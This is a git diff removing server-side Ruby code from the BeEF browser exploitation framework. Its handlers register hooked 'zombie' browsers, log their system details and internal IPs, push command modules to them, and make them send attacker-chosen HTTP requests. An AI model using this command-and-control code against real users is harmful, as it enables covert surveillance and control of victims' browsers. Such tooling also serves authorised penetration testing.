7cbc15767..000000000 --- a/lib/patches/webrick/cookie.rb +++ /dev/null @@ -1,23 +0,0 @@ -# The following file contains patches for WEBrick. -module WEBrick - - class Cookie - attr_accessor :httponly - - def to_s - ret = "" - ret << @name << "=" << @value - ret << "; " << "Version=" << @version.to_s if @version > 0 - ret << "; " << "Domain=" << @domain if @domain - ret << "; " << "Expires=" << @expires if @expires - ret << "; " << "Max-Age=" << @max_age.to_s if @max_age - ret << "; " << "Comment=" << @comment if @comment - ret << "; " << "Path=" << @path if @path - ret << "; " << "Secure" if @secure - ret << "; " << "HttpOnly" if @httponly - ret - end - - end - -end \ No newline at end of file diff --git a/lib/patches/webrick/genericserver.rb b/lib/patches/webrick/genericserver.rb deleted file mode 100644 index 87683af99..000000000 --- a/lib/patches/webrick/genericserver.rb +++ /dev/null @@ -1,15 +0,0 @@ -# The following file contains patches for WEBrick. -module WEBrick - - class HTTPServer < ::WEBrick::GenericServer - - # I'm patching WEBrick so it does not log http requests anymore. - # The reason being that it seems to considerably slow down BeEF which receives - # numerous requests simultaneously. Additionally, it was also found to crash - # the thread when not being able to write to the log file (which happened when - # overloaded). - def access_log(config, req, res); return; end - - end - -end \ No newline at end of file diff --git a/lib/patches/webrick/httprequest.rb b/lib/patches/webrick/httprequest.rb deleted file mode 100644 index 205a9d2d0..000000000 --- a/lib/patches/webrick/httprequest.rb +++ /dev/null @@ -1,77 +0,0 @@ -# The following file contains patches for WEBrick. -module WEBrick - - class HTTPRequest - - # I'm patching the HTTPRequest class so that it when it receives POST - # http requests, it parses the query present in the body even if the - # content type is not set. - # - # The reason for this patch is that when a zombie sends back data to - # BeEF, that data was not parsed because by default the content-type - # was not set directly. I prefer patching WEBrick rather than editing - # the BeEFJS library because cross domain http requests would be harder - # to implement at the server level. - # - # Note: this function would need to be modified if we ever needed to - # use multipart POST requests. - def parse_query() - begin - if @request_method == "GET" || @request_method == "HEAD" - @query = HTTPUtils::parse_query(@query_string) - elsif @request_method == 'POST' || self['content-type'] =~ /^application\/x-www-form-urlencoded/ - @query = HTTPUtils::parse_query(body) - elsif self['content-type'] =~ /^multipart\/form-data; boundary=(.+)/ - boundary = HTTPUtils::dequote($1) - @query = HTTPUtils::parse_form_data(body, boundary) - else - @query = Hash.new - end - rescue => ex - raise HTTPStatus::BadRequest, ex.message - end - end - - def get_cookie_value(name) - - return nil if name.nil? - - @cookies.each{|cookie| - c = WEBrick::Cookie.parse_set_cookie(cookie.to_s) - return c.value if (c.name.to_s.eql? name) - } - - nil - - end - - def get_referer_domain - - referer = header['referer'][0] - - if referer =~ /\:\/\/([0-9a-zA-A\.]*(\:[0-9]+)?)\// - return $1 - end - - nil - - end - - def get_hook_session_id() - - config = BeEF::Configuration.instance - hook_session_name = config.get('hook_session_name') - - @query[hook_session_name] || nil - - end - - # return the command module command_id value from the request - def get_command_id() - @query['command_id'] || nil - end - - - end - -end \ No newline at end of file diff --git a/lib/patches/webrick/httpresponse.rb b/lib/patches/webrick/httpresponse.rb deleted file mode 100644 index 83114c6f8..000000000 --- a/lib/patches/webrick/httpresponse.rb +++ /dev/null @@ -1,75 +0,0 @@ -# The following file contains patches for WEBrick. -module WEBrick - - class HTTPResponse - - # - # set caching headers none - # - def set_no_cache() - @header['ETag'] = nil - @header['Last-Modified'] = Time.now + 100**4 - @header['Expires'] = Time.now - 100**4 - @header['Cache-Control'] = 'no-store, no-cache, must-revalidate, post-check=0, pre-check=0' - @header['Pragma'] = 'no-cache' - end - - # - # set the cookie in the response - # Limit: only one set-cookie will be within the response - # - def set_cookie(name, value, path = '/', httponly = true, secure = true) - - cookie = WEBrick::Cookie.new(name, value) - cookie.path = path - cookie.httponly = httponly - cookie.secure = secure - - # add cookie to response header - @header['Set-Cookie'] = cookie.to_s - end - - # - # This patch should prevent leakage of directory listing, access - # auth errors, etc. - # - def set_error(ex, backtrace=false) - - # set repsonse headers - @status = 404; - @header['content-type'] = "text/html; charset=UTF-8" - - # set response content - @body = '' - @body << <<-_end_of_html_ - - - - No page for you! - - - - - - - - -
- -

These aren't the pages you're looking for

- -
- - - - _end_of_html_ - - end - end -end diff --git a/lib/patches/webrick/httpservlet/filehandler.rb b/lib/patches/webrick/httpservlet/filehandler.rb deleted file mode 100644 index 33886c9be..000000000 --- a/lib/patches/webrick/httpservlet/filehandler.rb +++ /dev/null @@ -1,32 +0,0 @@ -# The following file contains patches for WEBrick. - -module WEBrick -module HTTPServlet - - class FileHandler - - # prevent directory traversal attacks - def prevent_directory_traversal(req, res) - raise WEBrick::HTTPStatus::BadRequest, "null character in path" if has_null?(req.path_info) - - if trailing_pathsep?(req.path_info) - expanded = File.expand_path(req.path_info + "x") - expanded.chop! # remove trailing "x" - else - expanded = File.expand_path(req.path_info) - end - req.path_info = expanded - end - - # checks if a string contains null characters - def has_null? (str) - str.split(//).each {|c| - return true if c.eql?("\000") - } - false - end - - end - -end -end diff --git a/lib/server/assethandler.rb b/lib/server/assethandler.rb deleted file mode 100644 index 83f9428f7..000000000 --- a/lib/server/assethandler.rb +++ /dev/null @@ -1,74 +0,0 @@ -module BeEF - - # - # Class defining BeEF assets - # - class AssetHandler - - # call BeEF::AssetHanlder.instance - include Singleton - - attr_reader :allocations, :root_dir - - def initialize - @allocations = {} - @http_server = BeEF::HttpHookServer.instance - @root_dir = File.expand_path('../../../', __FILE__) - end - - # - # Binds a file to a mount point - # - def bind(file, path=nil, extension=nil, count=-1) - url = buildURL(path, extension) - @allocations[url] = {'file' => "#{root_dir}"+file, 'path' => path, 'extension' => extension, 'count' => count} - @http_server.mount(url, true, BeEF::FileHandler, @allocations[url]['file']) - puts "+ File [" + "#{root_dir}"+file + "] binded to url [" + url + "]" - return url - end - - # - # Unbinds a file from a mount point - # - def unbind(url) - @allocations.delete(url) - @http_server.unmount(url, true) - end - - # - # Builds a URL based on the path and extention, if neither are passed a random URL will be generated - # - def buildURL(path, extension, length=20) - url = (path == nil) ? '/'+rand(36**length).to_s(36) : path; - url += (extension == nil) ? '' : '.'+extension; - return url - end - - # - # Checks if the file is allocated, if the file isn't return true to pass onto FileHandler. - # - def check(url) - if @allocations.has_key?(url) - count = @allocations[url]['count'] - if count == -1 - return true - end - if count > 0 - if (count - 1) == 0 - unbind(url) - else - @allocations[url]['count'] = count - 1 - end - return true - end - end - return false - end - - private - @http_server - @allocations - - end - -end diff --git a/lib/server/commandhandler.rb b/lib/server/commandhandler.rb deleted file mode 100644 index c242239d0..000000000 --- a/lib/server/commandhandler.rb +++ /dev/null @@ -1,57 +0,0 @@ -module BeEF - - class CommandHandler - - include BeEF::Server::Modules::Common - - attr_reader :guard - @data = {} - - def initialize(data, kclass) - @guard = Mutex.new - @kclass = BeEF::Modules::Commands.const_get(kclass.capitalize) - @data = data - setup() - end - - def setup() - @http_params = @data['request'].query # used to populate datastore - @http_header = @data['request'].header # used to populate datastore - @http_header['referer'] ||= '' # used to populate datastore - - # get and check command id from the request - command_id = get_param(@data, 'cid') - # ruby filter needs to be updated to detect fixnums not strings - command_id = command_id.to_s() - raise WEBrick::HTTPStatus::BadRequest, "command_id is invalid" if not BeEF::Filter.is_valid_command_id?(command_id.to_s()) - - # get and check session id from the request - beefhook = get_param(@data, 'beefhook') - raise WEBrick::HTTPStatus::BadRequest, "beefhook is invalid" if not BeEF::Filter.is_valid_hook_session_id?(beefhook) - - @guard.synchronize { - # create the command module to handle the response - command = @kclass.new # create the commamd module - command.build_callback_datastore(@http_params, @http_header) # build datastore from the response - command.session_id = beefhook - command.callback # call the command module's callback function - it will parse and save the results - - # get/set details for datastore and log entry - command_friendly_name = command.friendlyname - raise WEBrick::HTTPStatus::BadRequest, "command friendly name empty" if command_friendly_name.empty? - command_results = get_param(@data, 'results') - raise WEBrick::HTTPStatus::BadRequest, "command results empty" if command_results.empty? - # save the command module results to the datastore and create a log entry - command_results = {'type' => command_results.class, 'data' => command_results} - BeEF::Models::Command.save_result(beefhook, command_id, command_friendly_name, command_results) - } - end - - def get_param(query, key) - return (query.class == Hash and query.has_key?(key)) ? query[key] : nil - end - - end - - -end diff --git a/lib/server/dynamichandler.rb b/lib/server/dynamichandler.rb deleted file mode 100644 index b7f5228ed..000000000 --- a/lib/server/dynamichandler.rb +++ /dev/null @@ -1,90 +0,0 @@ -module BeEF - - #DynamicHanlder is used reconstruct segmented traffic from the zombies - - class DynamicHandler < WEBrick::HTTPServlet::AbstractServlet - - attr_reader :guard - - #holds packet queue - PQ = Array.new() - - #obtain dynamic mount points from HttpHookServer - MOUNTS = BeEF::HttpHookServer.instance.mounts - - #Combines packet information and pushes to PQ, then checks packets - def do_POST(request, response) - @request = request - response.body = '' - PQ << { - :beefhook => get_param(@request.query, 'bh'), - :stream_id => Integer(get_param(@request.query, 'sid')), - :packet_id => Integer(get_param(@request.query, 'pid')), - :packet_count => Integer(get_param(@request.query, 'pc')), - :data => get_param(@request.query, 'd') - } - check_packets() - end - - alias do_GET do_POST - - #check packets goes through the PQ array and attempts to reconstruct the stream from multiple packets - def check_packets() - checked = Array.new() - PQ.each do |packet| - if (checked.include?(packet[:beefhook]+':'+String(packet[:stream_id]))) - next - end - checked << packet[:beefhook]+':'+String(packet[:stream_id]) - pc = 0 - PQ.each do |p| - if (packet[:beefhook] == p[:beefhook] and packet[:stream_id] == p[:stream_id]) - pc += 1 - end - end - if (packet[:packet_count] == pc) - #better way than sorting the entire array? - PQ.sort_by { |s| s[:packet_id] } - data = '' - PQ.each_with_index do |sp,i| - if (packet[:beefhook] == sp[:beefhook] and packet[:stream_id] == sp[:stream_id]) - data += sp[:data] - end - end - - data = JSON.parse(Base64.decode64(data)).first - data['beefhook'] = packet[:beefhook] - data['request'] = @request - data['beefsession'] = @request.get_hook_session_id() - expunge(packet[:beefhook], packet[:stream_id]) - execute(data) - end - end - end - - #delete packets that have been reconstructed - def expunge(beefhook, stream_id) - PQ.delete_if { |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id } - end - - #execute is called once a stream has been rebuilt. it searches the mounts and passes the data to the correct handler - def execute(data) - handler = get_param(data, 'handler') - if (MOUNTS.has_key?(handler)) - if (MOUNTS[handler].class == Array and MOUNTS[handler].length == 2) - MOUNTS[handler][0].new(data, MOUNTS[handler][1]) - else - MOUNTS[handler].new(data) - end - end - end - - #assist function for getting parameter from hash - def get_param(query, key) - return nil if query[key].nil? - query[key] - end - - end - -end diff --git a/lib/server/eventhandler.rb b/lib/server/eventhandler.rb deleted file mode 100644 index b071a276e..000000000 --- a/lib/server/eventhandler.rb +++ /dev/null @@ -1,59 +0,0 @@ -module BeEF - - # - # The http handler that manages the Events. - # - class EventHandler < WEBrick::HTTPServlet::AbstractServlet - - attr_reader :guard - - H = BeEF::Models::Http - Z = BeEF::Models::Zombie - - # - # Class constructor - # - def initialize(config) - # we set up a mutex - @guard = Mutex.new - end - - # - # This function receives any POST http requests. We only - # allow the hooked browser to send back results using POST. - # - def do_POST(request, response) - @params = request.query - - # validates the hook token - #beef_hook = request.query['BEEFHOOK'] || nil - beef_hook = request.get_hook_session_id() - raise WEBrick::HTTPStatus::BadRequest, "beef_hook is null" if beef_hook.nil? - - # validates that a hooked browser with the beef_hook token exists in the db - zombie = Z.first(:session => beef_hook) || nil - raise WEBrick::HTTPStatus::BadRequest, "Invalid beef hook id: the hooked browser cannot be found in the database" if zombie.nil? - - #event_string = request.query['event_string'] || nil - #raise WEBrick::HTTPStatus::BadRequest, "event_string is null" if event_string.nil? - - @params.each{|k,v| - if k[0..5] == "stream" - BeEF::Logger.instance.register('Event', v, zombie.id) - end - } - - #BeEF::Logger.instance.register('Zombie', "#{zombie.ip}: #{event_string}", "#{zombie.id}") - - response.set_no_cache() - response.header['Content-Type'] = 'text/javascript' - response.header['Access-Control-Allow-Origin'] = '*' - response.header['Access-Control-Allow-Methods'] = 'POST' - response.body = '' - end - - alias do_GET do_POST - - end - -end \ No newline at end of file diff --git a/lib/server/filehandler.rb b/lib/server/filehandler.rb deleted file mode 100644 index ab3f2f35d..000000000 --- a/lib/server/filehandler.rb +++ /dev/null @@ -1,21 +0,0 @@ -module BeEF - - # - # Custom FileHandler to deal with tracked files - # - class FileHandler < WEBrick::HTTPServlet::FileHandler - - # - # Override to do_GET to check tracked files - # - def do_GET(req, res) - if not BeEF::AssetHandler.instance.check(req.path) - raise HTPPStatus::NotFound, "`#req.path}` not found." - else - super - end - end - - end - -end diff --git a/lib/server/httpcontroller.rb b/lib/server/httpcontroller.rb deleted file mode 100644 index b3e45d94f..000000000 --- a/lib/server/httpcontroller.rb +++ /dev/null @@ -1,96 +0,0 @@ -module BeEF - - # - # Handle HTTP requests and call the relevant functions in the derived classes - # - class HttpController - - attr_accessor :headers, :status, :body, :paths, :currentuser, :params - - C = BeEF::Models::Command - CM = BeEF::Models::CommandModule - Z = BeEF::Models::Zombie - - # - # Class constructor. Takes data from the child class and populates itself with it. - # - def initialize(data = {}) - @erubis = nil - @status = 200 if data['status'].nil? - - @headers = {'Content-Type' => 'text/html; charset=UTF-8'} if data['headers'].nil? - - if data['paths'].nil? and self.methods.include? "index" - @paths = {'index' => '/'} - else - @paths = data['paths'] - end - end - - # - # Handle HTTP requests and call the relevant functions in the derived classes - # - def run(request, response) - @request = request - @params = request.query - @session = BeEF::UI::Session.instance - auth_url = '/ui/authentication' - - # test if session is unauth'd and whether the auth functionality is requested - if not @session.valid_session?(@request) and not self.class.eql?(BeEF::UI::Authentication) - @body = page_redirect(auth_url) # redirect to auth page - return - end - - # get the mapped function (if it exists) from the derived class - path = request.path_info - raise WEBrick::HTTPStatus::BadRequest, "path is invalid" if not Filter::is_valid_path_info?(path) - function = @paths[path] || @paths[path + '/'] # check hash for '' and '/' - raise WEBrick::HTTPStatus::BadRequest, "path does not exist" if function.nil? - - # call the relevant mapped function - function.call - - # build the template filename and apply it - if the file exists - function_name = function.name # used for filename - class_s = self.class.to_s.sub('BeEF::UI::', '').downcase # used for directory name - template_ui = "#{$root_dir}/lib/ui/#{class_s}/#{function_name}.html" - @eruby = Erubis::FastEruby.new(File.read(template_ui)) if File.exists? template_ui # load the template file - @body = @eruby.result(binding()) if not @eruby.nil? # apply template and set the response - - # set content type - if @headers['Content-Type'].nil? - @headers['Content-Type']='text/html; charset=UTF-8' # default content and charset type for all pages - @headers['Content-Type']='application/json; charset=UTF-8' if request.path =~ /.json$/ - end - - end - - # Constructs a redirect page - def page_redirect(location) "" + script_redirect(location) + "" end - - # Constructs a redirect script - def script_redirect(location) "" end - - # Constructs a html script tag - def script_tag(filename) "" end - - # Constructs a html stylesheet tag - def stylesheet_tag(filename) "" end - - # Constructs a hidden html nonce tag - def nonce_tag - @session = BeEF::UI::Session.instance - "" - end - - private - - @eruby - - # Unescapes a URL-encoded string. - def unescape(s); s.tr('+', ' ').gsub(/%([\da-f]{2})/in){[$1].pack('H*')} end - - end - -end \ No newline at end of file diff --git a/lib/server/httphandler.rb b/lib/server/httphandler.rb deleted file mode 100644 index 4442b7eee..000000000 --- a/lib/server/httphandler.rb +++ /dev/null @@ -1,38 +0,0 @@ -module BeEF - - class HttpHandler < WEBrick::HTTPServlet::AbstractServlet - - attr_reader :guard - - # - # - # - def initialize(config, klass) - super - @guard = Mutex.new - @klass = BeEF::UI.const_get(klass.to_s.capitalize) - end - - def do_GET(request, response) - @request = request - @response = response - - controller = nil - @guard.synchronize { - controller = @klass.new - controller.run(@request, @response) - } - - response.header.replace(controller.headers) - response.body = controller.body.to_s - end - - private - - @request - @response - - alias do_POST do_GET - end - -end \ No newline at end of file diff --git a/lib/server/httphookserver.rb b/lib/server/httphookserver.rb deleted file mode 100644 index 9edee88b1..000000000 --- a/lib/server/httphookserver.rb +++ /dev/null @@ -1,153 +0,0 @@ -module BeEF - - # - # Class defining the BeEF http server. - # - class HttpHookServer - - # call BeEF::Server.instance - include Singleton - - VERSION = BeEF::Configuration.instance.get('beef_version') - - attr_reader :root_dir, :url, :configuration, :command_urls, :mounts - - def initialize - @configuration = BeEF::Configuration.instance - beef_host = @configuration.get("http_public") || @configuration.get("http_host") - @url = "http://#{beef_host}:#{@configuration.get("http_port")}" - @root_dir = File.expand_path('../../../', __FILE__) - @command_urls = {} - @mounts = {} - end - - # - # Returns all server variables in a hash. Useful for Erubis when - # generating the javascript for the command modules and hooking. - # - def to_h - { - 'beef_version' => VERSION, - 'beef_url' => @url, - 'beef_root_dir' => @root_dir, - 'beef_host' => BeEF::Configuration.instance.get('http_host'), - 'beef_port' => BeEF::Configuration.instance.get('http_port'), - 'beef_dns' => BeEF::Configuration.instance.get('http_dns'), - 'beef_hook' => BeEF::Configuration.instance.get('hook_file') - } - end - - # - # - # - def register_command_url(command_path, uri) - end - - # - # - # - def get_command_url(command_path) - if not @command_urls[command_path].nil? then return @command_urls[command_path]; else return command_path; end - end - - # - # Starts the BeEF http server. - # - def start - if not @http_server - config = {} - config[:BindAddress] = @configuration.get('http_host') - config[:Port] = @configuration.get('http_port') - config[:Logger] = WEBrick::Log.new($stdout, WEBrick::Log::ERROR) - config[:ServerName] = "BeEF " + VERSION - config[:ServerSoftware] = "BeEF " + VERSION - - @http_server = WEBrick::HTTPServer.new(config) - @asset_handler = BeEF::AssetHandler.instance - - # registers the ui pages - Dir["#{$root_dir}/lib/ui/**/*.rb"].each { |http_module| - require http_module - mod_name = File.basename http_module, '.rb' - mount("/ui/#{mod_name}", true, BeEF::HttpHandler, mod_name) - } - - # registers the hook page - mount("#{@configuration.get("hook_file")}", true, BeEF::ZombieHandler) - mount('/ui/public', true, BeEF::PublicHandler, "#{root_dir}/public") - mount('/favicon.ico', true, WEBrick::HTTPServlet::FileHandler, "#{root_dir}#{@configuration.get("favicon_dir")}/#{@configuration.get("favicon_file_name")}") - mount('/demos/', true, WEBrick::HTTPServlet::FileHandler, "#{root_dir}/demos/") - - #dynamic handler - mount('/dh', true, BeEF::DynamicHandler) - - #register mounts handled by dynamic handler - mount('/init', false, BeEF::InitHandler) - mount('/event', false, BeEF::EventHandler) - mount('/requester', false, BeEF::RequesterHandler) - - # registers the command module pages - Dir["#{root_dir}/modules/commands/**/*.rb"].each { |command| - command_class = (File.basename command, '.rb').capitalize - command_file = (File.basename command, '.rb')+'.js' - mount("/command/#{command_file}", false, BeEF::CommandHandler, command_class) - } - - trap("INT") { BeEF::HttpHookServer.instance.stop } - - @http_server.start - end - end - - # - # Stops the BeEF http server. - # - def stop; - if @http_server - @http_server.shutdown - puts ' --[ BeEF server stopped' - end - end - - # - # Restarts the BeEF http server. - # - def restart; stop; start; end - - # - # Mounts a handler, can either be a hard or soft mount (soft mounts are handled by the command handler - # - def mount(url, hard, c, args = nil) - if hard - if args == nil - @http_server.mount url, c - else - @http_server.mount url, c, *args - end - else - if args == nil - mounts[url] = c - else - mounts[url] = c, *args - end - end - end - - # - # Unmounts handler - # - def unmount(url, hard) - if hard - @http_server.umount(url) - else - mounts.delete(url) - end - end - - private - @http_server - @asset_handler - - end - -end diff --git a/lib/server/inithandler.rb b/lib/server/inithandler.rb deleted file mode 100644 index 2803fefc2..000000000 --- a/lib/server/inithandler.rb +++ /dev/null @@ -1,95 +0,0 @@ -module BeEF - - # - # The http handler that manages the return of the initial browser details. - # - class InitHandler - - attr_reader :guard - @data = {} - - HB = BeEF::Models::Zombie - BD = BeEF::Models::BrowserDetails - - def initialize(data) - @guard = Mutex.new - @data = data - setup() - end - - def setup() - # validate hook session value - session_id = get_param(@data, 'beefhook') - raise WEBrick::HTTPStatus::BadRequest, "session id is invalid" if not Filter.is_valid_hook_session_id?(session_id) - hooked_browser = HB.first(:session => session_id) - return if not hooked_browser.nil? # browser is already registered with framework - - # create the structure repesenting the hooked browser - zombie = BeEF::Models::Zombie.new(:ip => @data['request'].peeraddr[3], :session => session_id) - zombie.firstseen = Time.new.to_i - zombie.httpheaders = @data['request'].header.to_json - @guard.synchronize { - zombie.save # the save needs to be conducted before any hooked browser specific logging - } - - # add a log entry for the newly hooked browser - log_zombie_domain = zombie.domain - log_zombie_domain = "(blank)" if log_zombie_domain.nil? or log_zombie_domain.empty? - BeEF::Logger.instance.register('Zombie', "#{zombie.ip} just joined the horde from the domain: #{log_zombie_domain}", "#{zombie.id}") - # get and store browser name - browser_name = get_param(@data['results'], 'BrowserName') - raise WEBrick::HTTPStatus::BadRequest, "Invalid browser name" if not Filter.is_valid_browsername?(browser_name) - BD.set(session_id, 'BrowserName', browser_name) - - # get and store browser version - browser_version = get_param(@data['results'], 'BrowserVersion') - raise WEBrick::HTTPStatus::BadRequest, "Invalid browser version" if not Filter.is_valid_browserversion?(browser_version) - BD.set(session_id, 'BrowserVersion', browser_version) - - # get and store browser string - browser_string = get_param(@data['results'], 'BrowserReportedName') - raise WEBrick::HTTPStatus::BadRequest, "Invalid browser browser string" if not Filter.is_valid_browserstring?(browser_string) - BD.set(session_id, 'BrowserReportedName', browser_string) - - # get and store the os name - os_name = get_param(@data['results'], 'OsName') - raise WEBrick::HTTPStatus::BadRequest, "Invalid browser os name" if not Filter.is_valid_osname?(os_name) - BD.set(session_id, 'OsName', os_name) - - # get and store page title - page_title = get_param(@data['results'], 'PageTitle') - raise WEBrick::HTTPStatus::BadRequest, "Invalid page title name" if not Filter.is_valid_pagetitle?(page_title) - BD.set(session_id, 'PageTitle', page_title) - - # get and store page title - host_name = get_param(@data['results'], 'HostName') - raise WEBrick::HTTPStatus::BadRequest, "Invalid host name" if not Filter.is_valid_hostname?(host_name) - BD.set(session_id, 'HostName', host_name) - - # get and store the browser plugins - browser_plugins = get_param(@data['results'], 'BrowserPlugins') - raise WEBrick::HTTPStatus::BadRequest, "Invalid browser plugins" if not Filter.is_valid_browser_plugins?(browser_plugins) - BD.set(session_id, 'BrowserPlugins', browser_plugins) - - # get and store the internal ip address - internal_ip = get_param(@data['results'], 'InternalIP') - if not internal_ip.nil? - raise WEBrick::HTTPStatus::BadRequest, "Invalid internal IP address" if not Filter.is_valid_ip?(internal_ip) - BD.set(session_id, 'InternalIP', internal_ip) - end - - # get and store the internal hostname - internal_hostname = get_param(@data['results'], 'InternalHostname') - if not internal_hostname.nil? - raise WEBrick::HTTPStatus::BadRequest, "Invalid internal host name" if not Filter.is_valid_hostname?(host_name) - BD.set(session_id, 'InternalHostname', internal_hostname) - end - end - - def get_param(query, key) - return (query.class == Hash and query.has_key?(key)) ? query[key] : nil - end - - end - -end diff --git a/lib/server/modules/common.rb b/lib/server/modules/common.rb deleted file mode 100644 index 8507cf660..000000000 --- a/lib/server/modules/common.rb +++ /dev/null @@ -1,142 +0,0 @@ -module BeEF -module Server -module Modules - - # - # Purpose: avoid rewriting several times the same code. - # - module Common - - # - # Builds the default beefjs library (all default components of the library). - # - # @param: {Object} the hook session id - # @param: {Boolean} if the framework is already loaded in the hooked browser - # - def build_beefjs!(req_host) - - # set up values required to construct beefjs - beefjs = '' # init the beefjs string (to be sent as the beefjs file) - beefjs_path = "#{$root_dir}/modules/beefjs/" # location of sub files - js_sub_files = %w(lib/jquery-1.5.min.js lib/evercookie.js beef.js browser.js browser/cookie.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js) - - # construct the beefjs string from file(s) - js_sub_files.each {|js_sub_file_name| - js_sub_file_abs_path = beefjs_path + js_sub_file_name # construct absolute path - beefjs << (File.read(js_sub_file_abs_path) + "\n\n") # concat each js sub file - } - - # create the config for the hooked browser session - config = BeEF::Configuration.instance - hook_session_name = config.get('hook_session_name') - hook_session_config = BeEF::HttpHookServer.instance.to_h - - # if http_host="0.0.0.0" in config ini, use the host requested by client - if hook_session_config['beef_host'].eql? "0.0.0.0" - hook_session_config['beef_host'] = req_host - hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host) - end - - # populate place holders in the beefjs string and set the response body - eruby = Erubis::FastEruby.new(beefjs) - @body << eruby.evaluate(hook_session_config) - - end - - # - # Finds the path to js components - # - def find_beefjs_component_path(component) - component_path = '/'+component - component_path.gsub!(/beef./, '') - component_path.gsub!(/\./, '/') - component_path.replace "#{$root_dir}/modules/beefjs/#{component_path}.js" - - return false if not File.exists? component_path - - component_path - end - - # - # Builds missing beefjs components. - # - # Ex: build_missing_beefjs_components(['beef.net.local', 'beef.net.requester']) - # - def build_missing_beefjs_components(beefjs_components) - # verifies that @beef_js_cmps is not nil to avoid bugs - @beef_js_cmps = '' if @beef_js_cmps.nil? - - if beefjs_components.is_a? String - beefjs_components_path = find_beefjs_component_path(beefjs_components) - raise "Invalid component: could not build the beefjs file" if not beefjs_components_path - beefjs_components = {beefjs_components => beefjs_components_path} - end - - beefjs_components.keys.each {|k| - next if @beef_js_cmps.include? beefjs_components[k] - - # path to the component - component_path = beefjs_components[k] - - # we output the component to the hooked browser - @body << File.read(component_path)+"\n\n" - - # finally we add the component to the list of components already generated so it does not - # get generated numerous times. - if @beef_js_cmps.eql? '' - @beef_js_cmps = component_path - else - @beef_js_cmps += ",#{component_path}" - end - } - end - - # - # Adds the command module instructions to the http response. - # - def add_command_instructions(command, zombie) - - raise WEBrick::HTTPStatus::BadRequest, "zombie is nil" if zombie.nil? - raise WEBrick::HTTPStatus::BadRequest, "zombie.session is nil" if zombie.session.nil? - raise WEBrick::HTTPStatus::BadRequest, "zombie is nil" if command.nil? - raise WEBrick::HTTPStatus::BadRequest, "zombie.session is nil" if command.command_module_id.nil? - - # get the command module - command_module = BeEF::Models::CommandModule.first(:id => command.command_module_id) - raise WEBrick::HTTPStatus::BadRequest, "command_module is nil" if command_module.nil? - raise WEBrick::HTTPStatus::BadRequest, "command_module.path is nil" if command_module.path.nil? - - klass = File.basename command_module.path, '.rb' - - @guard.synchronize { - command_module = BeEF::Modules::Commands.const_get(klass.capitalize).new - command_module.command_id = command.id - command_module.session_id = zombie.session - command_module.build_datastore(command.data) - command_module.pre_send - - build_missing_beefjs_components(command_module.beefjs_components) if not command_module.beefjs_components.empty? - - @body << command_module.output + "\n\n" - - puts "+ Hooked browser #{zombie.ip} sent command module #{klass}" if @cmd_opts[:verbose] - - } - - # flag that the command has been sent to the hooked browser - command.instructions_sent = true - command.save - end - - # - # Executes every plugins in the framework. - # - def execute_plugins! - - end - - end - -end -end -end diff --git a/lib/server/modules/requester.rb b/lib/server/modules/requester.rb deleted file mode 100644 index 9d0d1b984..000000000 --- a/lib/server/modules/requester.rb +++ /dev/null @@ -1,94 +0,0 @@ -module BeEF -module Server -module Modules - - # - # Module containing all the functions to run the Requester. - # - # That module is dependent on 'Common'. Hence to use it, - # your code also needs to include that module. - # - module Requester - - # - # Runs the Requester - # - def requester_run(zombie) - # we generate all the requests and output them to the hooked browser - output = [] - BeEF::Models::Http.all(:zombie_id => zombie.id, :has_ran => false).each {|h| - output << requester_parse_db_request(h) - } - - # we stop here of our output in empty, that means they aren't any requests to send - return if output.empty? - - # we build the beefjs requester component - build_missing_beefjs_components 'beef.net.requester' - - # we send the command to perform the requests to the hooked browser - @body << %Q{ - beef.execute(function() { - beef.net.requester.send( - #{output.to_json} - ); - }); - } - end - - # - # Converts a HTTP DB Object into a BeEF JS command that - # can be executed by the hooked browser. - # - def requester_parse_db_request(http_db_object) - req = WEBrick::HTTPRequest.new(WEBrick::Config::HTTP) - params = nil - - begin - s = StringIO.new http_db_object.request - req.parse(s) - rescue Exception => e - # if an exception is caught, we display it in the console but do not - # stong beef from executing. That is because we do not want to stop - # attacking the hooked browser because of a malformed request. - puts e.message - puts e.backtrace - return - end - - # Handling post requests - if not req['content-length'].nil? and req.content_length > 0 - params = [] - # if the content length is invalid, webrick crashes. Hence we try to catch any exception - # here and continue execution. - begin - req.query.keys.each{|k| params << "#{k}=#{req.query[k]}"} - params = params.join '&' - rescue Exception => e - puts e.message - puts e.backtrace - return - end - end - - # creating the request object - http_request_object = { - 'id' => http_db_object.id, - 'method' => req.request_method, - 'host' => req.host, - 'port' => req.port, - 'params' => params, - 'uri' => req.unparsed_uri, - 'headers' => {} - } - - req.header.keys.each{|key| http_request_object['headers'][key] = req.header[key]} - - http_request_object - end - - end - -end -end -end \ No newline at end of file diff --git a/lib/server/publichandler.rb b/lib/server/publichandler.rb deleted file mode 100644 index 5b5bbb24e..000000000 --- a/lib/server/publichandler.rb +++ /dev/null @@ -1,21 +0,0 @@ -module BeEF - -class PublicHandler < WEBrick::HTTPServlet::FileHandler - - def do_GET(req, res) - super - - # set content types - res.header['content-type']='text/html' # default content type for all pages - res.header['content-type']='text/javascript' if req.path =~ /.json$/ - res.header['content-type']='text/javascript' if req.path =~ /.js$/ - res.header['content-type']='text/css' if req.path =~ /.css$/ - res.header['content-type']='image/png' if req.path =~ /.png$/ - res.header['content-type']='image/gif' if req.path =~ /.gif$/ - res.header['content-type']='text/xml' if req.path =~ /.xml$/ - - end - -end - -end \ No newline at end of file diff --git a/lib/server/requesterhandler.rb b/lib/server/requesterhandler.rb deleted file mode 100644 index d475aac0c..000000000 --- a/lib/server/requesterhandler.rb +++ /dev/null @@ -1,57 +0,0 @@ -module BeEF - - # - # The http handler that manages the Requester. - # - class RequesterHandler < WEBrick::HTTPServlet::AbstractServlet - - attr_reader :guard - - H = BeEF::Models::Http - Z = BeEF::Models::Zombie - - # - # Class constructor - # - def initialize(data) - @guard = Mutex.new - @data = data - setup() - end - - def setup() - # validates the hook token - beef_hook = @data['beefhook'] || nil - raise WEBrick::HTTPStatus::BadRequest, "beef_hook is null" if beef_hook.nil? - # validates the request id - request_id = @data['cid'] || nil - raise WEBrick::HTTPStatus::BadRequest, "request_id is null" if request_id.nil? - - # validates that a hooked browser with the beef_hook token exists in the db - zombie_db = Z.first(:session => beef_hook) || nil - raise WEBrick::HTTPStatus::BadRequest, "Invalid beef hook id: the hooked browser cannot be found in the database" if zombie_db.nil? - - # validates that we have such a http request saved in the db - http_db = H.first(:id => request_id.to_i, 